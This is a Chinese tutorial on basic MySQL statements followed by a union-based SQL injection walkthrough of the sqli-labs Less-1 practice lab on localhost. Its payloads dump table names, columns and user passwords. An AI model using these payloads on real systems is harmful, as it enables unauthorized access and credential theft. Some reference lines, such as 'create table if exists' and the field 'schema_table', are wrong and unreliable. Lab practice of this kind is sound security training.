要进行sql注入,要对sql查询语句有一定的了解,下面列了一些常用的sql语句
在输入sql查询语句时,结束标识是分号(在SQL注入时,堆叠注入时会用到)
对数据库进行操作
show databases; 显示所有数据库
create database DB; 创建一个名为DB的数据库
use DB; 使用DB数据库
create database if not exists DB; 如果数据库DB不存咋,则创建一个名为DB的数据库
drop database DB; 删除名为DB的数据库
select database(); 显示当前数据库
对表进行操作
show tables; 显示当前数据库所有的表名
create table test; 创建名为test的表
Show create table 表名;查看表的创建信息
Create table 新表名 like 旧表名;快速创建一个表结构相同的表
Drop table 表名;删除表
create table if exists 表名;如果不存在这个表,则创建一个表
Alter table 表名 add 列名1 类型1,列名2 类型2····;给表添加一个新的列
Alter table 表名 modify 列名 新的类型 ····;修改列的类型
Alter table 表名 change 旧列名 新列名 类型;
Alter table 表名 drop 列名; 删除列
Rename table 表名 to 新表名; 修改表名
Alter table 表名 character set 字符集; 修改表的字符集
查询语句
select <字段名> from <数据库名>.<表名> where <条件>; //字段名之间用逗号隔开
order by 列数; 排序
例:数据库名:DB
表名:table
字段:username
查询语句为:select username from DB.table;
Sqli-labs-master Less-1
参数为id
http://127.0.0.1/sqli-labs-master/Less-1/?id=1 结果如下
http://127.0.0.1/sqli-labs-master/Less-1/?id=1'
报了语法错误,在最后价格注释符 --+
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' --+
恢复正常
猜测查询语句为:select <字段> from <数据库>.<表> where id='$id';
$id就是我们输入的 1' --+ //我们输入的单引号与前面的单引号闭合掉,在通过注释符注释掉后面的单引号:
select <字段> from <数据库>.<表> where id='1' --+ ' //加红的地方就是我们输入的地方
我们知道 order by 列数 是让查询的内容按我们所指定的那一列排序,而如果我们指定的列数超过了这个表的列数就会报错,所以我们使用order by 来判断这个表有几列
?id=1' order by 4 --+ // select <字段> from <数据库>.<表> where id='1' order by 4 --+ '
报错了,说明这个表里没有4个字段
?id=1' order by 3 --+ // select <字段> from <数据库>.<表> where id='1' order by 3 --+ '
没有报错,说明这个表里有3个字段
字段数量判段完毕,接下来采用联合注入的方式进行注入
union 联合查询
关于union联合查询,可以找一下更专业的文章来解疑,这里就不多赘述了
你通过order by 判断这个表有几列,在union select 后就写几列
?id=-1' union select 1,2,3 --+ //这里要把这个1改为表内没有的内容,否则查询内容显示不出来,我这里改为-1.
// select <字段> from <数据库>.<表> where id='-1' union select 1,2,3 --+ '
可以看到在字段2和字段3处是由回显的
判断当前数据库:select database()
?id=-1' union select 1,database(),3 --+ //把2 改为了database()
// select <字段> from <数据库>.<表> where id='-1' union select 1,database(),3 --+ '
得到当前数据库名:security
接下来爆表名
在mysql数据库中有一个数据库 “information_schema” 里面有3个表分别是:
schemata,tables,columns
schemata表:内容是所有的数据库名
字段schema_name:代表数据库名
tables表:内容是所有的表名
字段schema_table:代表了数据库与表的对应关系,内容是数据库名
字段table_name:表名
columns表:是所有的字段名
字段table_name:表名
字段column_name:字段名
所以我们要爆表名的话要在tables表内
?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() --+ //查询当前数据库(security)下所有的表名。是在tables查询的。group_concat()是让数据在一行显示。
?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+
//查询当前数据库(security)下,users表内的所有字段名。是在columns表中查询的。
?id=-1' union select 1,database(),group_concat(id,username,password) from security.users --+
//查询security数据库下users表的内容。